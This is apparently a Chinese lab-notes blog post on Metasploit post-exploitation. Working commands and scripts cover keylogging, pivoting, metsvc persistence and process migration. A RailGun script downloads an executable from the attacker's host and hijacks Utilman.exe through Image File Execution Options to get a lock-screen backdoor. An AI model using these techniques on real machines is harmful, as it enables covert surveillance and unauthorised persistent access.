MasterMsf 2 定制Metasploit Part 3

But you are still you, and I love you.

Meterpreter其他功能介绍

在第一章的渗透测试过程中我们已经使用过一些脚本,如

这里有一份Meterpreter速查表。

有一些到目前为止还没有使用过的功能,但比较有意思的,这里列举一下:

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
<Left Windows>notepad<CR>
<Shift>Long time no see<CR>
<Shift>How are you<^Left Windows>

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

Screen Shot 2018-10-23 at 3.27.07 PM.png

meterpreter > run checkvm

[!] Meterpreter scripts are deprecated. Try post/windows/gather/checkvm.
[!] Example: run post/windows/gather/checkvm OPTION=value [...]
[*] Checking if target is a Virtual Machine .....
[*] This is a VMware Virtual Machine

与第一章的情况类似,现在是:我们拿下了172.16.56.108的Win7的Meterpreter,这个Win7的另一个网卡192.168.6.110所在网段有一个Web服务器192.168.6.128,它能够访问这个Web服务器,但攻击者不行。攻击者希望能够用自己的浏览器去访问这个Web服务器。

首先看一下,Win7确实能访问:

Screen Shot 2018-10-23 at 3.55.33 PM.png

此时我们在Win7的Meterpreter内已经使用autoroute建立了到内网的路由

run autoroute -s 192.168.6.0/24

然而浏览器是无法访问的,因为浏览器不能通过Meterpreter传递流量:

Screen Shot 2018-10-23 at 3.44.38 PM.png

我们在Meterpreter建立端口转发:

meterpreter > portfwd add -L 127.0.0.1 -l 1080 -r 192.168.6.128 -p 80
[*] Local TCP relay created: 127.0.0.1:1080 <-> 192.168.6.128:80

然后在Firefox中设置代理,这样就能够访问内网Web服务器了:

Screen Shot 2018-10-23 at 3.58.17 PM.png

当然,你也可以通过利用Meterpreter设置一个socks代理去达到这个功能。

之前提到过使用persistence,这里介绍metsvc。它以系统服务形式运行,会打开目标主机上的一个端口,这个端口会永久向攻击者开放。

meterpreter > run metsvc -A

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\rambo\AppData\Local\Temp\QsmuhVgOAZUD...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
	 * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

以后有需要就可以连接:

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 172.16.56.108
set LPORT 31337

然而我这里失败了,session刚打开就自动关闭,多次尝试都是这样:

[*] Started bind TCP handler against 172.16.56.108:31337
[*] Meterpreter session 13 opened (172.16.56.1:53474 -> 172.16.56.108:31337) at 2018-10-23 16:05:32 +0800
[*] 172.16.56.108 - Meterpreter session 13 closed.  Reason: Died

并且Meterpreter还会卡在那里,直到我按ctrl-c。可以看到服务确实起来了且有监听端口:

Screen Shot 2018-10-23 at 4.29.02 PM.png

Screen Shot 2018-10-23 at 4.29.24 PM.png

参考这篇文章,我搜索了一下本地文件:

find ./ -name "metsrv*"

.//embedded/lib/ruby/gems/2.4.0/gems/metasploit-payloads-1.3.52/data/meterpreter/metsrv.x64.dll
.//embedded/lib/ruby/gems/2.4.0/gems/metasploit-payloads-1.3.52/data/meterpreter/metsrv.x86.dll

发现果然有两个不同版本的dll文件。而metsvc这个脚本没有判断目标系统架构就直接使用了x86版:

  # Use an array of `from -> to` associations so that things
  # such as metsrv can be copied from the appropriate location
  # but named correctly on the target.
  bins = {
    'metsrv.x86.dll'    => 'metsrv.dll',
    'metsvc-server.exe' => nil,
    'metsvc.exe'        => nil
  }

  bins.each do |from, to|
    next if (from != "metsvc.exe" and remove)
    to ||= from
    print_status(" >> Uploading #{from}...")
    fd = client.fs.file.new(tempdir + "\\" + to, "wb")
    path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
    fd.write(::File.read(path, ::File.size(path)))
    fd.close
  end

我把它改成了x64版,然后重新run metsvc,这次可以确认x64库文件被传输到靶机上了。然而,情况还是一样,又失败了。

我看到安全脉搏的文章metasploit在后渗透中的作用中其实也失败了,不过似乎作者没注意到。

好吧,这个问题先到此为止。

注:这些脚本都放在scripts/meterpreter/中,可以读源码了解其原理。

编写Meterpreter脚本

Meterpreter编程基础:

之前已经简单介绍过mixins,还可以参考Metasploit Mixins and Plugins来了解它和插件之间的关系。

作者建议深入了解以下文件:

ls rex/post/meterpreter
channel.rb                client.rb                 extension.rb              object_aliases.rb         packet_parser.rb          pivot_container.rb
channel_container.rb      client_core.rb            extensions                packet.rb                 packet_response_waiter.rb ui
channels                  dependencies.rb           inbound_packet_handler.rb packet_dispatcher.rb      pivot.rb

ls msf/scripts/meterpreter
accounts.rb common.rb   file.rb     registry.rb services.rb

打开msf/scripts/meterpreter中的文件可以发现,其中没有任何函数,但是它们有各种include。后面编写Meterpreter脚本正是基于这些文件来实现功能的。

API调用将在下一个部分RailGun中介绍。

下面来编写一段Meterpreter脚本,来实现进程迁移:

if(is_admin?)
    print_good("Current user is admin.")
else
    print_error("Current user is not admin.")
end

session.sys.process.get_processes().each do |x|
    if x['name'].downcase == 'explorer.exe'
        print_good("explorer.exe is running with PID #{x['pid']}")
        explorer_ppid = x['pid'].to_i
        print_good("Migrating to explorer.exe at PID #{explorer_ppid.to_s}")
        session.core.migrate(explorer_ppid)
    end
end

这里其实有个疑问:如果我自己编写脚本,我怎么知道可以像session.sys.process.get_processes()这样调用呢?通过搜索,我获得以下信息:

# msf/core/session.rb
###
#
# The session class represents a post-exploitation, uh, session.
# Sessions can be written to, read from, and interacted with.  The
# underlying medium on which they are backed is arbitrary.  For
# instance, when an exploit is provided with a command shell,
# either through a network connection or locally, the session's
# read and write operations end up reading from and writing to
# the shell that was spawned.  The session object can be seen
# as a general means of interacting with various post-exploitation
# payloads through a common interface that is not necessarily
# tied to a network connection.
#
###
module Session

  include Framework::Offspring
  # ...

module Session中包含了Framework::Offspring,而这个Framework类就有意思了,它似乎是一个把Metasploit各个部分结合起来的模块:

# msf/core/framework.rb
###
#
# This class is the primary context that modules, scripts, and user
# interfaces interact with.  It ties everything together.
#
###
class Framework

好吧,这对当前的问题并没有什么用。process.get_processes()倒是位于以下代码:

# rex/post/meterpreter/extensions/stdapi/sys/process.rb
class Process < Rex::Post::Process
  # ...
  #
  # Returns a ProcessList of processes as Hash objects with keys for 'pid',
  # 'ppid', 'name', 'path', 'user', 'session' and 'arch'.
  #
  def Process.get_processes
    request   = Packet.create_request('stdapi_sys_process_get_processes')
    processes = ProcessList.new

    response = client.send_request(request)

    response.each(TLV_TYPE_PROCESS_GROUP) { |p|
    arch = ""

    pa = p.get_tlv_value(TLV_TYPE_PROCESS_ARCH)
    if !pa.nil?
      if pa == 1 # PROCESS_ARCH_X86
        arch = ARCH_X86
      elsif pa == 2 # PROCESS_ARCH_X64
        arch = ARCH_X64
      end
    else
      arch = p.get_tlv_value(TLV_TYPE_PROCESS_ARCH_NAME)
    end

    processes <<
        {
          'pid'      => p.get_tlv_value(TLV_TYPE_PID),
          'ppid'     => p.get_tlv_value(TLV_TYPE_PARENT_PID),
          'name'     => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_NAME) ),
          'path'     => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_PATH) ),
          'session'  => p.get_tlv_value(TLV_TYPE_PROCESS_SESSION),
          'user'     => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_USER_NAME) ),
          'arch'     => arch
        }
    }

    return processes
  end

还是没有搞清楚session.sys.process.get_processes()各部分之间的关系,可能还是缺乏对Metasploit整体架构的认识吧,慢慢来。

言归正传,把它放在scripts/meterpreter/中。

这个也遇到了之前的问题,迁入进程总失败。可能计算机玄学的道行还不够吧。

最后,官方已经不建议去写Meterpreter脚本,而应该去写后渗透模块。

关于编写脚本的更多信息,可以参考Custom Scripting

RailGun

了解RailGun

RailGun允许你在不编译自己的DLL文件情况下直接调用Windows API。

在meterpreter中首先切换到irb命令行:

meterpreter > irb
[*] Starting IRB shell...
[*] You are in the "client" (session) object

irb: warn: can't alias kill from irb_kill.
>>

然后好戏就开始了(作者说有些任务Metasploit不能胜任,RailGun却可以顺利完成)。

我们通过以下方法调用基础API:

railgun.DLLname.function(parameters)

锁屏测试:

>> railgun.user32.LockWorkStation()
=> {"GetLastError"=>0, "ErrorMessage"=>"\xB2\xD9\xD7\xF7\xB3\xC9\xB9\xA6\xCD\xEA\xB3\xC9\xA1\xA3", "return"=>true}

Screen Shot 2018-10-23 at 8.14.26 PM.png

删除用户测试(要getsystem):

首先创建测试用户:

Screen Shot 2018-10-23 at 8.32.52 PM.png

>> railgun.netapi32.NetUserDel(nil, "msfadmin")
=> {"GetLastError"=>997, "ErrorMessage"=>"FormatMessage failed to retrieve the error.", "return"=>0}

结果:

Screen Shot 2018-10-23 at 8.33.50 PM.png

弹窗测试:

railgun.user32.MessageBoxA(0, "YOU ARE HACKED!!!", "Alarm", nil)

Screen Shot 2018-10-23 at 8.39.20 PM.png

为了更顺利地使用RailGun,我们必须明确哪个DLL包含了哪个方法。

构建复杂RailGun脚本

本节实现以下脚本:

  1. my_urlmon.rb 目的是向目标系统中的urlmon.dll添加函数URLDownloadToFileA
  2. my_railgun_demo.rb 目的是调用前面添加的下载函数,从攻击者机器上下载一个文件管理器a43.exe,并用它替换掉Windows锁屏界面上的“轻松访问”按钮对应程序

首先是添加函数的脚本:

# my_urlmon.rb
if client.railgun.get_dll('urlmon') == nil
    print_status("Adding Function")
end
client.railgun.add_dll('urlmon', 'C:\\WINDOWS\\system32\\urlmon.dll')
client.railgun.add_function('urlmon', 'URLDownloadToFileA', 'DWORD', [
['DWORD', 'pcaller', 'in'],
['PCHAR', 'szURL', 'in'],
['PCHAR', 'szFileName', 'in'],
['DWORD', 'Reserved', 'in'],
['DWORD', 'lpfnCB', 'in'],
])

参考Method: Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun

/* Attempts to provide a DLL instance of the given name. 
 * Handles lazy loading and caching. 
 * Note that if a DLL of the given name does not exist, returns nil. */
get_dll(dll_name)

/* Adds a DLL to this Railgun.
 * The windows_name is the name used on the remote 
 * system and should be set appropriately if you want to 
 * include a path or the DLL name contains non-ruby-approved characters.
 * Raises an exception if a dll with the given name has already been defined. */
add_dll(dll_name, windows_name = dll_name)

/* Adds a function to an existing DLL definition.
 * If the DLL definition is frozen (ideally this 
 * should be the case for all cached dlls) an unfrozen copy is 
 * created and used henceforth for this instance. */
add_function(dll_name, function_name, return_type, params, windows_name = nil, calling_conv = "stdcall")

我观察过,在添加前后,硬盘上的urlmon.dll的大小没有变化,所以这个添加操作应该是在内存中生效的?

关于这个下载函数的详细信息,参考URLDownloadToFile function。其原型为:

HRESULT URLDownloadToFile(
             LPUNKNOWN            pCaller,
             LPCTSTR              szURL,
             LPCTSTR              szFileName,
  _Reserved_ DWORD                dwReserved,
             LPBINDSTATUSCALLBACK lpfnCB
);

接着是调用函数下载文件并替换注册表的脚本:

# my_railgun_demo.rb
mypath = "C:\\Users\\rambo\\Desktop\\a43.exe"
client.railgun.urlmon.URLDownloadToFileA(0, "http://172.16.56.1:8000/a43.exe",
                                        mypath, 0, 0)
key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Utilman.exe"
syskey = registry_createkey(key)
registry_setvaldata(key, 'Debugger', mypath, 'REG_SZ')

测试:

攻击者开启HTTP服务器并把文件管理器放在根目录:

python -m http.server

172.16.56.108 - - [23/Oct/2018 21:02:49] "GET /a43.exe HTTP/1.1" 200 -

运行脚本:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run my_urlmon
[*] Adding Function

meterpreter > run my_railgun_demo

果然,锁屏(可以用之前的RailGun方法让目标机器锁屏)后点击“轻松访问”,出现了文件管理器!

Screen Shot 2018-10-23 at 9.24.49 PM.png

现在,能够接触这台计算机的人无需登陆系统,就可以通过这个文件管理器实现各种功能了。太厉害了。

关于RailGun的更多信息可以参考How to use Railgun for Windows post exploitation

总结

基础挺重要的,将来抽时间学一下Ruby吧,这样回过头来看,许多疑问应该就可以迎刃而解。当然了,先研究Metasploit,在这个过程中缺啥补啥,最后带着问题去学Ruby,也是个不错的选择。

另外呢,这些代码看起来都不是很难,但是要想写出好的模块和脚本,需要深厚的系统知识功底。至少在这里,丰富的Windows API知识和注册表知识会为你的攻击提供很多灵感。

关于开发模块的更多信息,可以参考rapid7/metasploit-framework:wiki